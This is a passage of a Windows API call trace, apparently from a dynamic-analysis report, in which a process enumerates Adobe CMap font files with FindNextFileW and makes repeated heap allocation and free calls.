ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-GBpc-EUC", cAlternateFileName="")) returned 1 [0083.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217740 [0083.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b6f50 [0083.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-CID", cAlternateFileName="")) returned 1 [0083.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217760 [0083.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b7058 [0083.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.875] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x170e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-Host", cAlternateFileName="")) returned 1 [0083.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217780 [0083.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b7160 [0083.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.876] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-Mac", cAlternateFileName="")) returned 1 [0083.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12177a0 [0083.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b7268 [0083.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.878] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bb8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-UCS2", cAlternateFileName="")) returned 1 [0083.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12177c0 [0083.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b7370 [0083.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7880) returned 0x12bb0b0 [0083.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ca080) returned 1 [0083.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.880] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-0", cAlternateFileName="")) returned 1 [0083.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12177e0 [0083.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b7478 [0083.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.882] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-1", cAlternateFileName="")) returned 1 [0083.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217800 [0083.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b7580 [0083.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.884] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-2", cAlternateFileName="")) returned 1 [0083.884] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-3", cAlternateFileName="")) returned 1 [0083.884] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-4", cAlternateFileName="")) returned 1 [0083.884] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x117c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-5", cAlternateFileName="")) returned 1 [0083.884] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1263, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-6", cAlternateFileName="")) returned 1 [0083.884] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-90ms-RKSJ", cAlternateFileName="")) returned 1 [0083.884] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-90pv-RKSJ", cAlternateFileName="")) returned 1 [0083.884] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-CID", cAlternateFileName="")) returned 1 [0083.884] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-Host", cAlternateFileName="")) returned 1 [0083.884] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-Mac", cAlternateFileName="")) returned 1 [0083.884] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49a9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-UCS2", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-0", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-1", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-2", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-CID", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-Host", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ca3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-Mac", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-KSCms-UHC", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2cf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-KSCpc-EUC", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25bda, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-UCS2", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f11, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-H", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-UCS2", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x457be, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-UCS2C", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc17, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-V", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3205, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNS-EUC-H", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x363d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNS-EUC-V", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-H", cAlternateFileName="")) returned 1 [0083.885] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x466cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-UCS2", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-V", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, 